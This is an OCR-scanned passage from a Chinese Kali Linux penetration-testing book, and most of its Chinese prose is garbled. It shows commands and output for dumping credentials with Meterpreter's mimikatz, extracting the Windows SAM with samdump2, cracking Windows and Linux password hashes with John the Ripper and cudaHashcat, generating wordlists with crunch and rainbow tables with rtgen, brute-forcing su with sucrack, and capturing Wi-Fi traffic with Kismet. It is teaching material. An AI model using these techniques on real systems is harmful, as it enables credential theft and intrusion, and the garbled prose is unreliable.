MBS S, el LA 3] mimikatz £ N4k Rk .
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(4) v mimikatz FLEL 80 % BT S 00F BTk

meterpreter > help

PATUL B4 he, st OCE RS B, b, fE Meterpreter of BT (1) dir 4 #8

% B A2 mimikatz AHC S, W F TR

Mimikatz Commands

Command Description

kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom commannd

msv Attemnpt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds

tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds

L S B s T il 0T i Mimikatz ap 4. 1[0 & kerberos {5 2 L livessp {5 ELAIRS

ol B2,
(26 8-4] fREMAFM., PArHm2W F e

meterpreter = msv
[+] Running as SYSTEM
[*] Retrieving msv credentials

msv credentials

AuthlD Package Domain User Password
0;287555 NTLM WIN-RKPKQFBLGEC bob

Im{ cd4fdcd1cad51e41aad3b435b51404ee }, ntim{ 3ed1ce151e74d17ceebEbf
6c3eed4625 }
0;287509 NTLM WIN-RKPKQFBLGEC bob

Im{ cd4fdcd1cad51e41aad3b435b51404ee }, ntim{ 3ed1ce151e74d17ceebbb
féc3eed4625 }
0;996 MNegotiate WORKGROUP -RKPKQFBLGECS n.s. (Credentials KO)
0:997 MNegotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;45372 NTLM n.s. (Credentials KQ)
0;999 NTLM WORKGROUP WIN-RKPKQFBLGECS n.s. (Credentials KO)
AT EL Ear2 e, Rl dE e raldeai e ID. B, 844, B s, iz

SRl BUE 2], MAT RS bob B RURS A EIA b . fEM A SIS, AuiRie) lm o

fEH LM JyaUnss. ntlm o FH NTLM J7 30 nsEs.
[ 8-5] 45 kerberos (IR IAUETHU0) 6. ATAF-S40F iok:

meterpreter > kerberos
[+] Running as SYSTEM
[#] Retrieving kerberos credentials

kerberos credentials

AuthlD  Package Domain User Password
0;999 NTLM WORKGROUP WIN-RKPKQFBLGECS

0;45372 NTLM

0;997 Negotiate NT AUTHORITY LOCAL SERVICE

0;996 Negotiate WORKGROUP WIN-RKPKQFBLGECS

GRIES

=3

« 257 -



B3k A REENG

0;287509 NTLM WIN-RKPKQFBLGEC bob www. 123

0:287555 NTLM WIN-RKPKQFBLGEC bob www. 123

Mgt BA5 Bl LA 2, St i B2l msv a4t 45 L. ol AN R EEE
12 L n] LA B G A s i s 6. AR EAE B, nJRUE 3| bob B )% N
www. 123,

[ 8-6] FHHL wdigest (i 2220 & 480 {55, W FHAs:

meterpreter > wdigest
[+] Running as SYSTEM
[+] Retrieving wdigest credentials

wdigest credentials

AuthlD Package Domain User Password
0,999 NTLM WORKGROUP WIN-RKPKQFBLGECS
0:45372 NTLM

0:997 Negotiate NT AUTHORITY LOCAL SERVICE

0;996 Negotiate WORKGROUP WIN-RKPKQFBLGECS
0;287509 NTLM WIN-RKPKQFBLGEC bob www.123
0;287555 NTLM WIN-RKPKQFBLGEC bob www.123

LI H A B I 2R A P g A B B 1S R .
[ 8-7) 5T livessp SH IS IF(E E . AT A% F TR

meterpreter > livessp
[+] Running as SYSTEM
[*] Retrieving livessp credentials

livessp credentials

AuthlD Package Domain User Password
0;287555 NTLM WIN-RKPKQFBLGEC bob n.a. (livessp KO)
0;287509 NTLM WIN-RKPKQFBLGEC bob n.a. (livessp KQ)
0,997 Negotiate NT AUTHORITY LOCAL SERVICE n.a. (livessp KO)
0;996 Negotiate WORKGROUP WIN-RKPKQFBLGECS n.a. (livessp KO)
0:45372 NTLM n.a. (livessp KQO)
0;999 NTLM WORKGROUP WIN-RKPKQFBLGECS n.a. (livessp KO)
meterpreter >

PL S S B RS T 20 H P livessp B S ik {5 & .
8.6 HWFHRIERZLA FEH

MEICEE R A RN E Beh G B, W ERIE RS PR PR P F
S, AT A A A E R Windows Fl Linux H] Fr s pg,

8.6.1 #ifiZ Windows FE R 214

Windows 7 25 (1Y) HJ & fﬂl’?f‘ {RAF7E SAM (&M SRS WP, fEE T NT N
% 1] Windows 555, % Windows 2000 K &A=, X AR “C \Windows!
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System32\Config” Hat o a1, GEBR @ T LR A & A 3 ok 12 50T

{4
2 I

-
LG

TR B, ERSENSIZ NG, SAM SCPEE R AT . XS E R RS IETT
, FL P AT H el & ] SAM SO fF . BR T8, 354 SAM U fFibgend hnss, HAn W,

IE A, R MG IR LE R AR EEL B, HE R Tiziriiads,
FJ Il Meterpreter 1 SAM Juicer ZREUTHFLHL L THH SCF . R U5 n) R G000 P B IR
o HP R RT LRI s S HoAl ) e R 48, Unde USB e DVD-ROM #g4% L[] Kali

Linux. ;i a8l H #ril SEHLHE S Al f484E &80 5, | P ol BLOEH] Kali #1f John the Ripper

TH

t A2

e

Aot 1% Windows H s,
{4 F| John the Ripper T H.#% %% Windows H] %55, FAR/E L 80 F s .
CL) R 900 RE P 45 3K a0 . AT a2k B

root@kali:~# fdisk -I
Disk /dev/sda: 42.9 GB, 42949672960 bytes
255 heads, 63 sectors/track, 5221 cylinders, total 83886080 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: Oxcfcbefct
Device Boot Start End Blocks Id System
/devisdal = 63 83859299 41929618+ 7 HPFSINTFS/exFAT

i P E B AW RSP e, HFRA T R RIS NTFS,

indows FE¢ [ By 4750 4
(2) HEARBERE). AT fr 4l F s
root@kali:~# mkdir /sda1 At ER S
root@kali:~# mount /dev/sda1 /sda1/ #iE#i/dev/sdal 47 [X

PATLA Er & e, R m G B
(3) Uit Hak, #EAF] Windows SAM SCPERIAIE . AT a0 B Bros:
root@kali:~# cd /sda1/WINDOWS/system32/config/

% Hah, nfRUES| SAM J0ff.
(4) {FH] SamDump2 25 SAM CfF. HiTam 2 s

root@kali:/'sda1/WINDOWS/system32/config# samdump2 SAM system = /root/hash.txt
samdump2 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Foot Key : SAM

MG B el AR R EL T SAM 301 . 501 3R EE 52 [7) ) T /root/hash.txt 3L
(5) izA4T john A4, SCERSISEGE. AT A0 F R R

root@kali:/sda1/WINDOWS/system32/config# /usr/sbin/john /froot/hash.txt --format=nt
Created directory: /root/.john
Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
(Guest)
guesses: 4 time: 0:00:03:13 0.09% (3) (ETA: Mon May 12 06:46:42 2014) c/s: 152605K
trying: 2KRIN.P - 2KRIDY 8
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guesses: 4 time: 0:00:04:26 0.13% (3) (ETA: Mon May 12 04:02:53 2014) c/s: 152912K
trying: GROKUHI - GROKDN1

guesses: 4 time: 0:00:04:27 0.13% (3) (ETA: Mon May 12 04:15:42 2014) cfs: 152924K
trying: HKCUUHT - HKCUGDS

8.6.2 k% Linux FH P %53

Wl il Linux [F7385 i 254 R A Windows 8 i (1 Jy iR 5280l FE izt b HAT— 5%
Al Linux REEEATE ] SAM SCAF IR ARAE B BG S . Linux F:E08 0% i & i) 4
ARl shadow [P SCAF L, 2O IR 40b) B 47y fete/shadow .

Ak, #E4# H] John the Ripper filifi#/etc/shadow 02 [, 4 77 2 /ete/passwd 0. IX
AL Windows 19577 22 system SCFF1 SAM SCF 02 -FEAYIEHE . John the Ripper H
if T—A~3hiig, ‘& ol LA shadow F passwd SCAREE A 7E—lg, IXFEgny LI F % T H ki
Linux R P8, AR 4800% Linux PSR 0 k.

{#i i John the Ripper T Hif## Linux H1 /%46, AR RROE s,

(1) Affi] unshadow $EHUH IS HII . AT o7 % W1 F Fom.

root@kali:~# unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt

AT LA B S 0n, 2 ete/passwd/ {1 Y fete/shadow/ U &5 & 7E i, B R— NIy i
linux_hashes.txt 1] 30, fRAFE mp/ H .
(2) Wi Linux J )80, $47dr 2 F e

root@kali:~# john —format=crypt --show /tmp/linux_hashes.txt
root:123456:0:0:root:/root:/bin/bash
bob:123456:1000:1001::/home/bob:/bin/sh
alice:123456:1001:1002::/home/alice:/bin/sh

3 password hashes cracked, 0 left

WA A Es b, AT B0 R g e =, s ES D 123456.

L. 427 John the Ripper 744808 Linux FMAZ 07, &34k F L35t 7 F) £ 4 &
#45] #) John the Ripper A4, 4o A 4R A 3, # 14 B K 4T4F T 4% John the Ripper.
25 441819 $8%13 & No password hashes loaded (A ML FEAHF] ) . K 3 4L
X, Linux & 464645 F SHA #05) Ao i Hik AR A 5 AL

8.7 A\EZHFH

IR (0 7 i T2 S P O AR R A, R S LA VR B AT 20 B
B B o TR T LA i R R I 1) S R A I Th R i ep AR, G BRI (1 N 1]
1R R NEMEBRCE R MERESIRE R, REEEENE T IRE, XA P
T H A R G R T S S ). F Linux ®45 Crunch Fl rtgen P54~ T H, wrLlg
QU T AT P AER], AR XA TR AR
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8.7.1 Crunch TH

Crunch & —Fp g % 57~ 0 T 1, L%IJELJL.L PR kR . fER Crunch T HA MK
(st my DL 6 3 28, SCPFEk S — AR, IR A4 E ] Crunch T H G #0744,

{TH] Crunch “F iy it HAREAE DR T Bros.

(1) k&b erunch g4, FATaTS F Fros.

root@kali:~# crunch

AT EL Edr 2 05, R R BRI S R

crunch version 3.4

Crunch can create a wordlist based on criteria you specify. The outout from crunch can be sent
to the screen, file, or to another program.

Usage: crunch <min> <max> [options]

where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.

it 945 B2 1 crunch fg 4 [ RRCAS S i AL L, {EH] crunch iy 2 2F BT R5 (1)
A R
crunch [minimum length] [maximum length] [character set] [options]

crunch iy 4 5 H L 00 I R .

Q -o: HIFHREHH A0 E .

Q -b: $FE S AR AR FA . Z0NT RS KB MB 8 GB, {HiE205-0

START IR H .

O -t B E A AR R .

Q -l RS TSR IR @, Y%A, SRR R e R,

(2) B AR ff, AR . Hod, s i 2 0 kG RE A 8,
f e 10, F648 ] ABCDEFGabedefg0123456789 by 474 . BT i 4 1 F BT «

root@kali:~# crunch 8 10 ABCDEFGabcdefg0123456789 —o /root/Desktop/
generatedCrunch.txt

Motice: Detected unicode characters. If you are piping crunch output

to another program such as john or aircrack please make sure that program
can handle unicode input.

Do you want to continue? [Y/n] y

Crunch will now generate the following amount of data: 724845943848960 bytes
691266960 MB

675065 GB

659 TB

0OPB

Crunch will now generate the following number of lines: 66155263819776
AAAAAAAA

AAAAAAAB

AAAAAAAC

AAAAAAAD

AAAAAAAE

AAAAAAAF

AAAAAAAG

AAAAAAAZ
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AAdbBgFe

AAdbBgFf

AAdbégFg

AAdbBgF0

AAdbBgF1

AAdbBgF2

AAdbBgF3

AAdbBgF4

AAdbBgF5

MEA S s B, TRLE B 659TB K Scfk, BJEAT 66155263819776 17«
LL b S 3AT e s, W s FAE A% 0 generatedCrunch.txt 1173030 . T4
TR E MR, BT LATE EARAC R ).

(3) LA SIS E s, R Nano v 24T 9. AT ArS 0 F B

root@kali:~# nano /root/Desktop/generatedCrunch.txt

PATEL B4 5, ¥52241JT generatedCrunch.txt S04, % 4847 78] crunch iy
S R BT AT

8.7.2 rigen TH

rtgen |2 HISR A R 26 . T 2802 — N BE O VBT S 2% bl 6 ) - B & T oG T
aaials FTMFFJ’BL.M 4~le| TA—EREEH MDS Bk, BREGEES, 7 e LR
R AR A 280 . B A SRS, WM R, I R A AL R AR, 100G
Ll .

i F rtgen T HAERGRUT R . RS ME LSRR AR

(1) Y] rtgen Hak. BTS00 F s,

root@kali:~# cd /usr/share/rainbowcrack/
(2) {diH] rtgen a4 AL —ANEE T MDS (R0 8. AT dr At F TR

root@kali:/usr/sharefrainbowcrackd# ./rigen md5 loweralpha-numeric 1 5 0 3800 33554432 0
rainbow table md5_loweralpha-numeric#1-5_0_3800x33554432_0.rt parameters

hash algorithm: md5

hash length: 16

charset: abcdefghijklmnopgrstuvwxyz0123456789

charset in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6¢c 6d 6e 6f 70 71 72
7374757677 7879 7a 30 31 32 33 34 35 36 37 38 39

charset length: 36

plaintext length range: 1 -5

reduce offset: 0x00000000

plaintext total: 62193780

sequential starting point begin from 0 (0x0000000000000000)

generating...

131072 of 33554432 rainbow chains generated (0 m 42.5 s)
262144 of 33554432 rainbow chains generated (0 m 39.2 s)
393216 of 33554432 rainbow chains generated (0 m 41.6 5)
524288 of 33554432 rainbow chains generated (0 m 42.0 s)
655360 of 33554432 rainbow chains generated (0 m 39.1 s)
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786432 of 33554432 rainbow chains generated (0 m 40.1 s)
917504 of 33554432 rainbow chains generated (0 m 39.9 s)
1048576 of 33554432 rainbow chains generated (0 m 38.8 s)
1179648 of 33554432 rainbow chains generated (0 m 39.2 s)
1310720 of 33554432 rainbow chains generated (0 m 38.2 5)

33161216 of 33554432 rainbow chains generated (0 m 40.2 s)
33292288 of 33554432 rainbow chains generated (0 m 38.9 s)
33423360 of 33554432 rainbow chains generated (0 m 38.1 s)
33554432 of 33554432 rainbow chains generated (0 m 39.1 5)

PLEFERE R TRILEMZE LML Wi, &l Ril & 040
md5_loweralpha-numeric#1-5_0 3800x33554432 O.rt; % (i MDS HaI S mas iy, {i
FI -7 £ 4 abedefghijklmnopgrstuvwxyz0123456789 %5 .

(3) A THSERHERN I, [/ rtsort fr &4zl rH . TSI F
F;"r 7] v

root@kali:/usr/sharefrainbowcrack# rtsort md5_loweralpha-numeric#1-5 0

3800x33554432 0.rt

md5_loweralpha-numeric#1-5 0 3800x33554432_ 0.rt:

1351471104 bytes memory available

loading rainbow table...

sorting rainbow table by end point...
writing sorted rainbow table...

ek DL EAS B i Bl e e th T HER .

8.8 4% )i NVIDIA it EMsin—i%k &4 #) (CUDA)

CUDA (Compute Unified Device Architecture) J&—Fp rhi NVIDIA #EH (1438 H] HFAT71HE
BUK, ZALRER] GPU BEWE Ml P S 24k S . &6 T CUDA R 444 (ISA) K&
GPU NEBI 3-89 1% . H P ol LUEH] NVIDIA CUDA B (il FH s 75 5 s il s 1,
X ] DAEE S A R B . AT R 448 ] OclHashceat T H 2% .

{ifi i} OclHashcat |- H.2 {if, — 5 BH 52 900 R4 O M43 7 NVIDIA 5 <8R8, 1
Kali ', OclHashcat Z£ i\ %73 {1 /usr/share/oclhasheat H =t . J LA 250 D) 40 H % 3
OclHashcat, 55 OclHashcat T H. #4764 W F s

root@kali:~# cd /usr/share/oclhashcat
root@kali:/usr/sharefoclhashcat # Is

charsets cudaExample500.sh eula.accepted example500.hash hashcat.hcstat masks
oclExample500.sh
cudakExample0.sh cudaHashcat.bin examplel.hash example.dict
hashcat.pot oclExample0.sh oclHashcat.bin
cudaExample400.sh docs exampled400.hash exira kernels oclExample400.sh
rules

L b 3 s T OclHasheat H s R 09 2C00F. Hob, cudaHasheat.bin v $i 47 3
e H P s i SR . e A Z T AT otz mr, SEEE P e o . Purdad
W By

root@kali:/usr/sharefoclhashcat# ./cudaHashcat.bin --help
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cudaHashcat, advanced password recovery
Usage: cudaHashcat [options]... hash]hashfile|hccapfile [dictionary|mask]|
directory]...

Options
+ General:
-m, --hash-type=NUM Hash-type, see references below
-a, --attack-mode=NUM Attack-mode, see references below
-\, --version Print version
-h, --help Print help
--eula Print EULA
--quiet Suppress output
* Benchmark:
-b, --benchmark Run benchmark
--benchmark-mode=NUM  Benchmark-mode, see references below
* Misc:
--hex-salt Assume salt is given in hex
--hex-charset Assume charset is given in hex
--force Ilgnore warnings
--status Enable automatic update of the status-screen
--status-timer=NUM Seconds between status-screen update
References

* Benchmark Settings:
0 = Manual Tuning
1 = Performance Tuning, default
* Qutfile Formats:
1 = hash[:sall]
2 = plain
3 = hash[:salt]:plain
4 = hex_plain
5 = hash[:salt]:hex_plain
6 = plain:hex_plain
7 = hash[:salt].plain:hex_plain
* Built-in charsets:
7| = abcdefghijklmnopgrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
7d = 0123456789
7a = ??u?d?s
?s = "HEUW%&'()++,-l<==7@["_{|}~
+ Attack modes:
0 = Straight
1 = Combination
3 = Brute-force
6 = Hybrid dict + mask
7 = Hybrid mask + dict

* Specific hash types:
11 = Joomla
21 = osCommerce, xt:Commerce
101 = nsldap, SHA-1(Base64), Netscape LDAP SHA
111 = nsldaps, SSHA-1(Base64), Netscape LDAP SSHA
112 = Oracle 11g
121 = SMF = v1.1
122 = 0SX v10.4, v10.5, v10.6
131 = MSSQL(2000)
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132 = MSSQL(2005)
141 = EPiServer 6.x < vd
1441 = EPiServer 6.x > v4
1711 = SSHA-512(Baseb4), LDAP {SSHA512}
1722 = OSX v10.7
1731 = MSSQL(2012)
2611 = vBulletin < v3.8.5
2711 = vBulletin = v3.8.5
2811 = IPB2+, MyBB1.2+
62XY = TrueCrypt 5.0+
X =1=PBKDF2-HMAC-RipeMD160
X =2 =PBKDF2-HMAC-SHA512
X =3 =PBEKDF2-HMAC-Whirlpool

X =4 =PBKDF2-HMAC-RipeMD160 boot-mode

Y =1=XTS AES

Y =2 =XTS Serpent --- unfinished
Y =3 = XTS Twofish --- unfinished
Y =4 = XTS AES-Twofish --- unfinished
Y = 5= XTS AES-Twofish-Serpent  --- unfinished
Y =6 = XTS Serpent-AES --- unfinished
Y =7 = XTS Serpent-Twofish-AES  --- unfinished

Y = 8 = XTS Twofish-Serpent --- unfinished
i 1945 2 2" T cudaHashcat.bin iy 4 (P 35206 20 n) FH s 1o A A B 40 2%
T fif cudaHashcat g4 (W5 E 0, 50T LA S8 SR 0 & i ok 1. Pdran 4
W F Fras
root@kali:~# ./cudaHashcat.bin attackfile -1 ?1?7u?d?s 21217171 2171211
R A L _E i 4 v i) 2Ok AT A4 WeR s
O ./cudaHashcat.bin: #7151 A cudaHashcat i 4.

QO attackfile: F5F) & Halifr 30 4.

O -1 MWu2d?: #oatse il A H o ERE . SRR S A EE T LR NS R
RNEFRET.

Q 201212121 Feop il 2 FF SR ME — ) A e

O 21212121 Rl A A ME— 4 HERS .

89 iy e FE

PER Uy A Bl S8 P FOBCBR SRl RIS — i P G B R g, iR A
ftl 2 e P A A . 7F Linux v, 3530 FH P o] BLUE L su dr S0 A T Pl fr B s s,
ERATZH P RS /L Linux/Unix 40P 48T B CABRR . 7o Fpds i &, T LU H] SUCrack
AR W AERAT T su A< I iR it SR 5E R f R IE MR AT . AR A AT
H SUCrack T HYHEH F .

SUCrack f& 2R T H, AVFH PR DEGHEN su fAHL A K P &S . i
P R B LA &I an R By

Q -—help: & SUCrack 175 Bh 3.

Q - Bl deh Fa P
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Q -s: BCE WS BRI R ] BRI TE] R 3 Fb.
Q -a: ARVFH P BCE R ANST S
Q -w: J7E SUCrack felpFI A L6 e 8. [H24 SUCrack 42 2 2B FEM), H ol Lidse
T BT e R XA UOUER 1 A4, PSR s Ry, ZEis 3
P S A H el
(3251 8-81 {41 SUCrack WEfi# A<t/ i) i, ] SUCrack fip 4 1hf, 7 24—
AEER SO WL RS E RE R RE B. ST A R T
$ sucrack /usr/sharefwordlists/wordlist.txt
password is: 123456
M A0S S T LA 2, AHLH P root (R4 4 123456 KR {EH] su dird, N3
@ P, BRI AR root HLP . BTEL, $0ATRL Bdr 4 fa, 8RR SR P root (1)
H .
A P R E PR, BERR 6 B ot vh S EOF AR AR T ANST e 3. i
from % W F R,
% sucrack -w 2 -s 6 -a /usr/share/wordlists/wordlist.txt
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HATAS JLTFREA AT NES . JCHE R RAESN RN, 1’EL{‘I|J,¢ SEF-
fis BATHRERS B AR BT SL ERO TR, (FURTEIR 2S00 F, RS 5 A R 5 O e
HERSA R, AR RE S & E M Es, (e ORI CE & i, X HJ Al HEAEE AT
Sl WIEFAE Kali tf, $24 T 2 T A AT DAREREJCER M 45 . ATEAE A 41 (T 8 R 2 il i
Hoo 98l Jo gk M 2% My

9.1 FA&M%2IX T E Kismet

W AT TR M S5 2 I, Db 2 S A AT AT A e N s WP AR Kali
Linux o, #2400 7o ek e 1 B Kismet. 7 ]2 10 L w] DL B (K 2k (5 S
Jria B T g L. AR 48 H Kismet T MR G2 M 25 .

(1) Jsh Kismet T H. 4705400 F Fros:

root@kali:~# kismet

PATEL B4 5, FFRoninlE 9.1 Brom i) 5 i .

root{@kali:

IPFF) MRNE(E) WO MWER(S) HEE(T) WERHH)

KEismat Jort Yiew Windows

Kisma
at
onnacted

9.1 I

(2) 1% FLi H ok v B 5 8 2L B\ (R s . 5o Kismet BRI 2 0, ] fig—
Wy ANGE o . X HUEH B E . G EE Yes, B ol 9.2 Ao S .
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root@kali: ~

IfFF) GRIE(E) TWHE(V) WES) HUE(T) EEIH)
© Kismet Sort View Windows

ot
onnected

5 9.2 {E]] root B FiZ17r Kismet

(3) Z AL s EAEAER] root HFiE4T Kismet T H. 0, #£8F OK, 345 Bxinf# 9.3
ZIEN R

root@kali: ~ |
MfEF) MRR(E) EE(v) BE(s) BRI HFEE) M-

root@kali: - rooti@kali: - rooti@kali; - rooti@kali: fusrfsha...
= Kismet Sort View Windows

{ Connaction refus
ld not connect tc

ection refused)
i "

{ Connection refused) will attempt to

E 93 [ahhEh Kismet i 55

(4) LT RERE A EE) Kismet 5. X PIEFFE Yes, 5 BRWE 9.4 Frasny
T

(5) SR E Kismet R4 125 5. X EF NG S, JFikdF Start, %
St 9.5 Fros i) F-ii .

(6) ZFH BB AT UM R YT, EEEIAERN. XEEPE Yes, 58
9.6 FiT7 I FEH] -
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94 25 Kismet % 9.5 s B

(7) fEixA e L MO EE . F Intf b, $A M -REO . L
A F O AR TR, ATRUR A wlan0 5% mon0. JLALST R TTLAAG . 45 ki Add
Febl, ¥ R 9.7 By AL .

reotDkali: =
ZFF) REE EEN RRE BET WER MEMH

LRt -

Lkl ~ vuuk ki S e

Intf

P o6 il D B 97 cHFEREE D

(8) TFiZ Ytk $E Close Console Window %4, 45 St ld 9.8 <) Sitfi .

ractifikali: =
HFFF) WRWE) EW) RS HEET O WEBR) MBI
rooti@kal rootifkalc -
Kismet Sart Yiew Windows

rookifali - rootifikali: fusr/shar...

E Lapsed i
Hetworks
Packets

PRLS Sec

Filtered

9.8 ek E R
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(9 L_':/{ﬂ’i"l” fl"-rrjfn |L_,1 'J'JE - 1= {Ji “I"Iﬁ\ L/-'{JLI%LJ["::‘E;‘[ F rr_”n o "I}|j~._-.'?..|: 'jhi_'r”.‘“"l.]l;fl_f'! HE
BB . FEIZ S P Kismet 52 LRI F 15 £ Quit x4y, Wn# 9.9 frasiy 5t .
(10) $% F Quit ap% f5, ¥ EoniniE 9.10 Ay Fh .
|
HfEF) BARE) EW() MR H

root@ikali: - raotifefwoar...

- S Sort View Windows
Lapsed

etworks

ackets

iltered [ Kill ]

499 iEH Kismet 1 9.10  #11 Kismet i 5%

(1) R GRT s Kill, 71k Kismet 25 IFIE AGBEat, Hent, 2K R
SEHEER, W R

#x4 KISMET CLIENT IS SHUTTING DOWN ##x

[SERVER] INFO: Stopped source "wlan0'

[SERVER] ERROR: TCF server client read() ended for 127.0.0.1

[SERVER]

[SERVER] ##* KISMET IS SHUTTING DOWN ##%

[SERVER] INFO: Closed pecapdump log file 'Kismet-20140723-17-19-48-1. pcapdump’,
[SERVER] 155883 logged.

[SERVER] INFO: Closed netxml log file 'Kismet-20140723-17-19-48-1.netxml', 26
[SERVER] logged.

[SERVER] INFQ: Closed nettxt log file 'Kismet-20140723-17-19-48-1.nettxt', 26

[SERVER] logged.

[SERVER] INFO: Closed gpsxml log file 'Kismet-20140723-17-19-48-1.gpsxml’, 0 logged.
[SERVER] INFO: Closed alert log file 'Kismet-20140723-17-19-48-1.alert’, 5 logged.
[SERVER] INFO: Shutting down plugins...

[SERVER] Shutting down log files...

[SERVER] WARNING: Kismet changes the configuration of network devices.

[SERVER] In most cases you will need to restart networking for
[SERVER] your interface (varies per distribution/OS, but
[SERVER] usually: /etc/init.d/networking restart

[SERVER]

[SERVER] Kismet exiting.
Spawned Kismet server has exited
#++ KISMET CLIENT SHUTTING DOWN. =#=

Kismet client exiting.

ML FA5 L KISMET IS SHUTTING DOWN #0545t 85 32063 7 LA H o k.
e H B0, BRI R fm Jroot/ H k. (LM G, S T A H S I )
17 Kismet 1B 25 ol JLACE, RS [a] S 4E w5 315 Bh i .

B Er - F i sk B a0 Edl . U Elfroot/ H s, R Is e S TG L AR
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root@kali:~# Is Kismet-20140723-17-19-48-1.+

Kismet-20140723-17-19-48-1.alert  Kismet-20140723-17-19-48-1.netxml
Kismet-20140723-17-19-48-1.gpsxml Kismet-20140723-17-19-48-1.pcapdump
Kismet-20140723-17-19-48-1.nettxt

M s S, o RUE BT AN HA&A SO, JFHAEH TSR 2848 - Kismet T H
R TR S, BRAEEIX . RN 4 R IR LA 3O RS 2
Q alert: Z P AL ITAT A E R EE
gpsxml: WHAEH T GPS ¥, WIAHCH) GPS Sl fafF iz o kb
nettxt: R BT A O A S AR HEAE R
netxml: fLH5FTHT XML 528 1 £ .
peapdump: GLAFHED S DA 0 .
T A4 PCAP I Text SCIFM T H.

1. {# fHWireshark4 #TPCAP{S i

COO0OO

(1) izl Wireshark. $447 2 W FR:
root@kali:~# wireshark &

(2) I pecapdump . 7& Wireshark 5 (M 1% SR ch L HF File|Open @y %, #%
St 9.11 o S .

&

Wireshark: Dpnn Cﬂp‘hlm Fila

ER) £ vk suEmW g
ams | Kismet-20140723-17-19-48-1.alert 1OKE 17:24
O RinEme 9 Kismet-20140723-17-19-48-1.gpsxml 264 FH 17:26
) Kismet-20140723-17-19-48- 1 nettxt I57KB  17:24
A (@ Kismet-20140723-17-19-48-1.netxml 81.7KB 17:24 ]
O X RE B Kismet-20140723-17-19-48-Lpcapdump 16,8 MB  17:26
— xR & Linux-3.14.6.tar 534.2 MB 20145065118
© Kali Live i Nessus-5.2.6-debian6_i386.deb 284 MB 20148048168
|_| replay_arp-0723-171023.cap 806 Y 1711 o
[Fllter: [ l Filename: Kismet-20140723-17-19-48-1 peapdump
Format: Wiresharkftcpdump... - Libpeap
¥l Enable MAC name resolution Size: 17643643 bytes
U] Enable netwaork name resoluticn Packets: 155883
@ Enable transport name resolution  First Packet: 2014-07-23 17:21:12
Elapsed time: 00:05:00

| WO || 71F©) |

911 dEFE IR peapdump ST

(3) 7eizStiEFF Kismet AL pecapdump £, K55y “477F 7 dHl, 455
AP 9.12 o I i .
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File Edit View Go Capture Anpalyze Statistics Telephony Tools Intermals Help

£ 9.12  peapdump “CfF L

(4) MiZFFIT ] LG 2, Kismet 3135 21 () Fr 47 oL M 45 Bdli . Beacon {2 L i

SEARME A, B &R2EE S0 ALt i Ik 45
2. o iKismetB) Text3C44

£ Linux 1, TELE o0 PlOCA G 52541 TT nettxt SO, sl AEH] cat iy & B A i30T

M. FIlIfER] Linux BARSCAR S 45T IF nettxt SCPF, 41 9.13 Fras.

Kismet-20140723-17-19-48-1nettxt (*) - VIM o [x]
XHHF) WEB(E) TRA(T) i&&s) SEPE(E) WOMW) FEENH)
=20s 9 . B 7% @« @& %O

Kismet (http://www.kismetwireless, net) '
wWed Jul 23 17:19:48 2014 - Kismet 2013.03.RD

Metwork 1: BSSID l4:E6:E4:AC:FBE:20

Maruf : Tp-LankT
First : wWed Jul 23 17:21:12 2004
Last : wWed Jul 23 17:24:48 2014
Type : infrastructure
BSSID » 14iEGIE4ACIFE: 20
S5I0 1
Type : Beacon
S5ID 1 "Test”
First : Wed Jul 23 17:21:12 2014
Last : wWed Jul 23 17:24:48 2014
Max Rate : 54,0
Baacon : 10

Packets 1 297
Encryption : WEP
channel E|
Frequency : 0 - 75050 packets, 71.46%
Frequency : 2412 - 27652 packets, 26.33%
requancy : 2417 - Z302 packets, 2.1%% |
23,1 i

% 913 nettxt CPFRE

Moz Sl LLE 2] netxt SRR ARG E, HH THMBIMEATCL S . B4
TR LR A A bR, JF H A T R L M 2 RS P g, P 9.14 Bk
Moz el LLE )~ Clientl, H MAC Huhl 4 00:¢1:40:76:05:6¢. ‘& 32— MAC

Huht 2 00:¢1:40:76:05:6¢ (1% P 88 T ICEAEA R

« 272

B a2 xes ac+aF2EE 2o m@
Filter: [ ] ~  Expression... Claa o 7

No. | Time Source Destination Protocol Length Info

-LinkT_ac DO:cl:40: 76:05:6c &g Deauthentication, SM=0, FN=D, Flags=..

2 0000575  Tp-LinkT_ac:fb:20 OO:cl:40; 76;05:6c BOZ.11 58 Deauthentication, SM=0, FNsO, Flagss...
3 0.0011%  Tp-LinkT_ac:fb:20 BO:cl:40: 76:05:6¢ BO2.11 5g Deauthentication, SN=0, FN=0, Flags=...
4 0001552  Tp-LinkT_ac:fb:20 0O:cl:d40: 76:05:6¢ BOZ.11 58 Deauthentication, SM=0, FMN=D, Flags=...
5 0001963 Tp-LinkT_ac:fb:20 0Ol a0; 76:05:6c BOZ.11 5E Deauthentication, SN=0, FN=0, Flags=...
& 0.003905 DO:cl:40: 76:05:6c (RLB02.11 42 Acknowledgement, Flags=........
7 0004127 00:cl:a0:78:0%5:6c Broadcast EOZ. 11 118 Data, SN=1500, FN=0, Flags=.p.....T
8 0004936 Tp-LinkT_ac:fb:20 0O:cl:A0: 76:05:6¢ BOZ.11 5 Deauthentication, SN=0, FN=0, Flags=...
9 0005301 Tp-LinkT_ac:fb:20 DO:cl:40: 76:05:6¢ BO2.11 5g Deauthentication, SM=0, FN=D, Flags=...
10 N NNSOES Tr-l 1nkT ar-fh-2% Bl e 1 - A T - - B [ rEE] g Poanthentiratinn Shisf  Ehisfl Flanss

Kismet-20140723-17-19-48-1.pcapdump [Wireshark 1.8.5 ] -ﬂﬂ

2]
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| )
Kismet-20140723-17-19-48-1.nettxt (~) = VIM Buﬂlm
MEFF) HWSE(E) TRM Exis) @4RpE) BWOMw) WEhH)
=a2B=s 9e D 79 @« 303 32 %G
Client 1: MAC OD:C1l:40:76:05:6C 2
Mariuf : Unknown
First : Wed Jul 23 17:21:12 2014
